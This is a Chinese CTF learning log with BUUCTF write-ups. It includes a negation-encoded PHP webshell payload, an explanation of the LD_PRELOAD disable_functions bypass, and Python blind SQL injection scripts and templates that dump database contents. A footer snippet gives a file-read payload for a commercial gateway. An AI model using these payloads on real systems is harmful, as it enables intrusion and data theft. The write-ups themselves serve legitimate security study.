刷题学习记录BUUCTF

 [极客大挑战 2019]RCE ME1

进入环境直接就有代码

<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

 代码审计:

传入的code不能大于40

并且不能包含a到z的大小写字符和1到10的数字

我们可以通过不在这个字符集里的字符进行绕过

可以采用异或和取反


异或参考:PHP异或_php异或脚本-CSDN博客

PHP异或_php 异或-CSDN博客

取反参考:php中的取反符号,php中取反的全过程-CSDN博客

这里采用取反,绕过

参考:CTF-Web-[极客大挑战 2019]RCE ME 1-CSDN博客

执行phpinfo();

<?php$c='phpinfo';
$d=urlencode(~$c);
echo $d;
?>

?code=(~%8F%97%8F%96%91%99%90)();

 

 构造一个shell连上蚁剑

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>

 

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6)();

 蚁剑连接

 在根目录发现的flag文件里面是空的,readflag文件里面是乱码

 这里就要用到蚁剑的插件,才能的得到flag

 利用插件选定模式后进入终端,获得flag

在别人的博客中看到不用蚁剑的插件,也能做出来,因为蚁剑的插件市场下载插件需要魔法

通过LD_PRELOAD & putenv() 绕过,获取flag

参考:BUUCTF:[极客大挑战 2019]RCE ME-CSDN博客

笔记

参考:无字母数字webshell总结 - 先知社区

LD_PRELOAD 参考:https://www.cnblogs.com/leixiao-/p/10612798.html

深入浅出LD_PRELOAD & putenv()-安全客 - 安全资讯平台

 

在学习LD_PRELOAD之前需要了解什么是链接。

程序的链接主要有以下三种:

    静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

    装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

    运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

LD_PRELOAD介绍

    在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

为什么可以绕过

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

    能够上传自己的.so文件

    能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

    存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

首先,我们能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用。

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。
 

查询禁用函数

异或和url取反在任意php版本下均可使用,所以两种方法均可使用。


url编码取反绕过

url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。

异或饶过
异或:将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符 

[极客大挑战 2019]FinalSQL1

进入环境是一个登录框

 分别尝试了1和1'

 但是看了别人的wp注入不是在登录框进行,而且登陆页面的紫色字体点了之后会进入到另一个页面

这道题用到sql异或注入

sql异或注入,经过尝试发现^符号未被过滤,(1^2=3)

  • 首先可以根据1^0=1 1^1=0 来判断闭合方式(数字型还是字符型)。因为如果是字符型,不会执行^。

  • 简单判断是数字型。

 由于不会写python脚本,这里就用大佬的脚本了

payload:

import time
import requests
import stringurl = "http://ba8a3be4-a2cc-42fa-b6e5-5679fa6feafb.node4.buuoj.cn:81/search.php"
flag = ''def payload(i, j):# 数据库名字sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)# 表名# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)# 列名# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)# 查询flag# sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data,timeout=5)time.sleep(0.04)# print (r.url)if "Click" in r.text:res = 1else:res = 0return resdef exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break# print (f)flag += chr(f)print(flag)if __name__ == "__main__":exp()print('输出:', flag)

 跑这个脚本要一步一步的跑,分别跑出数据库名,表名,列名,字段名

爆数据库名

sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, j)

爆表名,这里爆geek

sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)

 爆列名,这里爆F1naI1y

sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)

 查询flag

sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)

 

[BSidesCF 2019]Kookie1

进入环境,是一个登录框

 提示要用admin用户登录,但是也有一个用户可以登录

用户名:cookie

密码:monster

 虽然成功登录成功,但是却没有用admin为用户名登录,题目有cookie,那就f12查看cookie

 既然要以admin为用户名登录,那就用bp抓包伪造cookie

 发送伪造的cookie后就得到flag

 

[WUSTCTF2020]颜值成绩查询1

进入环境,是一个查询页面

分别输入1,2,3,4都有回显,但是输入5就会报错

 出现这种情况,一般都是要进行sql盲注

一说到盲注,要快速注入就需要脚本,这里就借用大佬的脚本了(二分法)

import requestsurl="http://cca7035c-c728-4e0f-9a34-53d1e4baac33.node4.buuoj.cn:81/?stunum="
name=''for i in range(1,100):print(i)low=32high=128mid=(low+high)//2while low<high:#payload = "0^(ascii(substr((select(database())),%d,1))>%d)" % (i, mid)#payload="0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1))>%d)"%(i,mid)#payload="0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)"%(i,mid)payload="0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)"%(i,mid)r=requests.get(url=url+payload)if 'admin' in r.text:low = mid+1else:high=midmid=(low+high)//2if(mid==32):breakname=name+chr(mid)print (name)

 运行脚本依然是爆数据库,爆表名,爆列名,查询字段

查询出字段

 得到flag:flag{03f18350-118d-4993-8da1-6eae741e08c5}

 笔记

二分法

定义
​ 二分法(Bisection method),即一分为二的的方法。对于在区间[a,b]上连续不断且满足f(a)*f(b)<0
的函数y=f(x),通过不断地把函数f(x)的零点所在区间二等分,使区间两个端点逐步逼近零点,进而得到
零点的近似值的方法。

 小白理解,设置极小值与极大值,然后不断缩小范围,最终确定答案

详细过程

二分法讲解(赋值讲解)
设置极大值100和极小值1(这两个值不可能是要求的那个,在在这里假设所求值为56)
然后取出平均值50
第一次比较
将平均值与所求值进行比较,50<56,发现平均值比所求值要小,说明所求值介于55到100之间,
第二次比较
此时我们就把极小值更改为51(本来应改为50,但不可能是50),取出平均值75,将所求值与平均值进行比较,75>56,发现平均值比所求值大,说明平均值介于51到75之间
第三次比较
此时更改极大值为75,取出平均值63,将所求值与平均值进行比较,63>56,发现平均值比所求值大,说明平均值介于55到63之间
第四次比较
此时更改极大值为63,取出平均值57,将所求值与平均值进行比较,57>56,发现平均值比所求值大,说明平均值介于55到57之间
第五次比较
此时更改极大值为57,取出平均值56,将所求值与平均值进行比较,56=56,两者相等,结束。

 一般在使用sql盲注脚本的时候,脚本使用二分法的时候运行的要快一些

 这是二分法脚本的模板

import requests
import time#host = "http://"
host = "http://"
'''
def getDatabase():  #获取数据库名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1#" % (i,mid)param ={"username":payload,"password":"admin"}res = requests.post(host,data=param)if "用户名错误" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("database is -> "+ans)
'''
def getDatabase():  #获取数据库名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:url= host +"?id=1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -" % (i,mid)res = requests.get(url)if "You are in" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("database is -> "+ans)
'''
def getTable(): #获取表名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)res = requests.get(url)if "others~~~" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("table is -> "+ans)
'''
def getTable(): #获取表名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "?id=1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (i,mid)res = requests.get(url)if "You are in" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("table is -> "+ans)
'''
def getColumn(): #获取列名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)res = requests.get(url)if "others~~~" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("column is -> "+ans)
'''
def getColumn(): #获取列名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:#url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1" % (i,mid)#   res = requests.get(url)url = host + "id=1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1-- -" % (i,mid)res = requests.get(url)if "You are in" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("column is -> "+ans)
'''
def dumpTable():#脱裤global hostans=''for i in range(1,10000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)res = requests.get(url)if "others~~~" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("dumpTable is -> "+ans)
'''
'''
def dumpTable():#脱裤global hostans=''for i in range(1,10000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)res = requests.get(url)if "others~~~" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("dumpTable is -> "+ans)
''' 
def dumpTable():#脱裤global hostans=''for i in range(1,10000):low = 32high = 128mid = (low+high)//2while low < high:#   url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)#  res = requests.get(url)url = host + "id=1'^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1-- -" % (i,mid)res = requests.get(url)if "You are in" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("dumpTable is -> "+ans)getDatabase()
getTable()
getColumn()
dumpTable()

 

import requests
import urllib
import math
import timedata="u=45345345&p=45345345&bianhao=1&a=1"
def binarySearch(url,payload,start,end):left=startright=endwhile left<right:mid=math.floor((left+right)/2)xkey1=payload.format(mid)headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey1}response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)if response.status_code==200:right=midelse:left=mid+1return int(left)def database_length(url):xkey = "1' or (select length(database()))<={}#"return binarySearch(url, xkey, 0, 100)def database_name(url):databasename = ''aa = database_length(url)for i in range(1, aa + 1):xkey = "1' or ascii(substring(database(),%s,1))<={}#" % idatabasename += chr(binarySearch(url, xkey, 32, 126))return databasenamedef table_count(url, database):xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "<={}#"return binarySearch(url, xkey, 0, 100)def table_length(url, a, database):xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)<={}#" % areturn binarySearch(url, xkey, 0, 100)def table_name(url, database):table_name = []bb = table_count(url, database)for i in range(0, bb):user = ''cc = table_length(url, i, database)if cc == None:breakfor j in range(1, cc + 1):xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))<={}#" % (i, j)user += chr(binarySearch(url, xkey, 32, 126))table_name.append(user)return table_namedef column_count(url, table_name):xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")<={}#"return binarySearch(url, xkey, 0, 100)def column_length(num, url, table_name):limit = " limit %s,1)<={}" % numxkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"return binarySearch(url, xkey, 0, 100)def column_name(url, table_name):column_name = []dd = column_count(url, table_name)for i in range(0, dd):user = ''bb = column_length(i, url, table_name)if bb == None:breakfor j in range(1, bb + 1):limit = " limit %s,1),%s,1))<={}" % (i, j)xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"user += chr(binarySearch(url, xkey, 32, 126))column_name.append(user)return column_namedef data_count(url, table,column):xkey = "1' or (select count("+column+") from "+table+")<={}#"return binarySearch(url, xkey, 0, 100)def data_length(num, url, table,column):limit = " limit %s,1)<={}" % numxkey = "1' or (select length("+column+") from "+table+limit+"#"return binarySearch(url, xkey, 0, 100)def data_data(url, table,column):data_data = []dd = data_count(url, table,column)for i in range(0, dd + 1):user = ''bb = data_length(i, url, table,column)if bb == None:breakfor j in range(1, bb + 1):limit = " limit %s,1),%s,1))<={}" % (i, j)xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"user += chr(binarySearch(url, xkey, 32, 126))data_data.append(user)return data_datadef data_dataall(url, table,column,line,count):user = ''bb = data_length(line, url, table,column)for j in range(0, bb + 1):limit = " limit %s,1),%s,1))<={}" % (line, j)xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"user += chr(binarySearch(url, xkey, 32, 126))return userif __name__ == '__main__':one = float(time.time())url = 'http://192.168.164.138/test.php'databasename = database_name(url)print "The current database:" + databasename#database = raw_input("Please input your databasename: ")database="test"databasedata = {}tables = table_name(url, database)print database + " have the tables:",print tablesfor table in tables:k={}column1=[]print table + " have the columns:"column1=column_name(url, table)for j in range(0, len(column1)):k[j+1] = column1[j]databasedata[table]=kprint column1print(databasedata)databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}while 1:print "请输入你要读取的表名"#table = raw_input("Please input your table_name: ")table="book"if databasedata.has_key(table)!=False:break#column = raw_input("Please input your column_name: ")column=""if len(column)>0:print column+"have the data:"print data_data(url, table, column)else:count=data_count(url, table, databasedata[table][1])print "count="+str(count)dataline="count  "for i in range(0, len(databasedata[table])):dataline=dataline+databasedata[table][i+1]+"  "print datalinefor line in range(0,count):dataline=str(line)+"  "for i in range(0, len(databasedata[table])):dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+"  "print datalinetwo = float(time.time())interval = two - oneprint(interval)

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/139740.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JSP运行环境搭建

将安装JSP引擎的计算机称作一个支持JSP的Web服务器。这个服务器负责运行JSP&#xff0c;并将运行结果返回给用户。 JSP的核心内容之一就是编写JSP页面,JSP页面是Web应用程序的重要组成部分之一。一个简单Web应用程序可能只有一个JSP页面,而一个复杂的Web应用程序可能由许多JSP…

Ubuntu18.04.6安装qt5.7.1(超级详细教程)

目录 1、下载对应Linux版本的qt 2、安装完qt&#xff0c;可能也要安装下对应的编译工具 1、下载对应Linux版本的qt &#xff08;1&#xff09;准备安装的是qt5.7.1&#xff1a;qt-opensource-linux-x64-5.7.1.run &#xff08;2&#xff09;在虚拟机进入存放qt安装包的目录…

C语言--求一个 3 X 3 的整型矩阵对角线元素之和

一.题目描述 求一个 3 X 3 的整型矩阵对角线元素之和 二.代码实现 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> int main() {int arr[3][3] { 0 };for (int i 0;i < 3;i){for (int j 0;j < 3;j){ printf("请输入数字&#xff1a;");scanf(&…

科技云报道:数智化升级,如何跨越数字世界与实体产业的鸿沟?

科技云报道原创。 数智化是当下商业环境下最大的确定性。 2022年&#xff0c;中国数字经济规模达50.2万亿元&#xff0c;占国内生产总值比重提升至41.5%&#xff0c;数字经济成为推动经济发展的重要引擎。从小型创业公司到跨国巨头&#xff0c;数字化转型在企业发展历程中彰显…

网康NS-ASG安全网关任意文件读取

此文件没有对身份进行校验即可下载任意文件 构造payload访问漏洞url&#xff1a; ​​/admin/cert_download.php?filegjxbstxdt.txt&certfile../../../../../../../../etc/passwd漏洞证明&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&…

HDMI之编码篇

概述 HDMI 2.0b(含)以下版本,采用3个Channel方式输出。传输又分为3三种周期,视频数据,数据岛以及控制周期。视频传输采用8/10编码。数据岛采用4/10编码(TERC4)。控制周期采用2/10。编码都拓展成了10bits。 上图中,Pixel component(e.g.B)->D[7:0]表示视频数据周期…

【KingbaseES】R6 Liunx下使用命令行部署数据库集群

【KingbaseES】R6命令行部署数据库集群 A.数据库安装包下载软件下载页面授权下载页面 B.数据库集群部署软件安装第一步&#xff1a;创建Kingbase用户第二步&#xff1a;上传安装包1.创建Kingbase用户和准备安装目录2.使用FTP工具上传安装包镜像和授权文件到install目录下并授权…

【VS2019 Qt5 VTK9.2】临时解决配置相关问题的简单方法

配置报错 编译报错提示&#xff08;LNK2019或LNK2001&#xff09; 严重性 代码 说明 项目 文件 行 禁止显示状态 错误 LNK2019 无法解析的外部符号 “__declspec(dllimport) public: __cdecl QVTKOpenGLNativeWidget::QVTKOpenGLNativeWidget(class QWidget *,class QFlags)(_i…

pointnetgpd复现

参考&#xff1a; Installation Instructions — Dex-Net 0.2.0 documentation Install git clone https://github.com/lianghongzhuo/PointNetGPD.git 添加环境变量 gedit ~/.bashrc #添加下面这一行 export PointNetGPD_FOLDER$HOME/code/PointNetGPD #然后source source…

transfomer模型——简介,代码实现,重要模块解读,源码,官方

一、什么是transfomer Transformer是一种基于注意力机制&#xff08;attention mechanism&#xff09;的神经网络架构&#xff0c;最初由Vaswani等人在论文《Attention Is All You Need》中提出。它在自然语言处理&#xff08;NLP&#xff09;领域取得了巨大成功&#xff0c;特…

SQL Server 2022 安装步骤——SQL Server设置身份验证教程

目录 前言: 安装详细步骤: 第一步: 第二步: 第三步: 第四步: SQL Server 连接的方式: Window验证: SQL Server验证: 两者之间区别: 总结: SQL Server身份验证登录配置教程:​ 第一步: 第二步: 第三步: 番外篇: 前言: 本文讲解&#xff0c;如何安装SQL Server安…

如何判断一个角是否大于180度(2)

理论计算见上一篇&#xff1a; 如何判断一个角是否大于180度&#xff1f;_kv1830的博客-CSDN博客 此篇为代码实现 一。直接上代码&#xff1a; import cv2 as cv import numpy as np import mathdef get_vector(p_from, p_to):return p_to[0] - p_from[0], p_to[1] - p_from…

xlua游戏热更新(lua访问C#)

CS.UnityEngine静态方法访问unity虚拟机 创建游戏物体 CS.UnityEngine.GameObject(new by lua);静态属性 CS.UnityEngine.GameObject(new by lua); -- 创建 local camera CS.UnityEngine.GameObject.Find(Main Camera); --查找 camera.name Renamed by Lua;访问组件 loca…

区块链多链数字钱包开发

随着区块链技术的不断发展&#xff0c;多链数字钱包的开发逐渐成为热门领域。多链数字钱包是一种可以支持多种区块链网络的数字钱包&#xff0c;用户可以使用它来存储、管理和转移不同的数字资产。本文将探讨多链数字钱包的开发背景、市场需求、技术实现和未来趋势等方面。 一、…

02:2440---时钟体系

目录 一:时钟控制 1:基本概念 2:时钟结构图 3:结构图分析 4:总线 5:寄存器 A:FCLK--MPLLCON B:HCLK和PCLK--CLKDIVN C:注意 二:上电复位 1:上电复位 2:时钟选择 三:代码 一:时钟控制 1:基本概念 S3C2440A中的时钟控制逻辑可以产生所需的时钟信号&#xff0c;包括C…

手机地磁传感器与常见问题

在手机中&#xff0c;存在不少传感器&#xff0c;例如光距感&#xff0c;陀螺仪&#xff0c;重力加速度&#xff0c;地磁等。关于各传感器&#xff0c;虽功能作用大家都有所了解&#xff0c;但是在研发设计debug过程中&#xff0c;却总是会遇到很多头疼的问题。关于传感器&…

数据结构:树的存储结构(孩子兄弟表示法,树和森林的遍历)

目录 1.树的存储结构1.双亲表示法&#xff08;顺序存储&#xff09;1.优缺点 2.孩子表示法&#xff08;顺序链式存储&#xff09;3.孩子兄弟表示法&#xff08;链式存储&#xff09;4.森林与二叉树的转换 2.树的遍历1.先根遍历2.后根遍历3.层序遍历 3.森林的遍历1.先序遍历2.中…

fastANI-基因组平均核酸一致性(ANI)计算

文章目录 简介安装使用Many to Man-使用基因组路径作为输入One to One 结果其他参数说明可视化两个基因组之间的保守区域并行化 简介 FastANI 是为快速计算全基因组平均核苷酸同一性&#xff08;Average Nucleotide Identity&#xff0c;ANI&#xff09;而开发的&#xff0c;无…

人工智能与教育:未来的技术融合

人工智能与教育&#xff1a;未来的技术融合 随着科技的飞速发展&#xff0c;人工智能&#xff08;AI&#xff09;逐渐渗透到我们生活的方方面面&#xff0c;包括教育领域。AI与教育的结合&#xff0c;有望引发一场教育变革&#xff0c;提高教学效果&#xff0c;实现个性化学习&…

【自定义类型:结构体】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 1. 结构体类型的声明 1.1 结构体的概念 1.2 结构的声明 ​编辑 1.3 特殊的声明 1.4 结构的自引用 2. 结构体变量的创建和初始化 3. 结构成员访问操作符 4. 结构体内…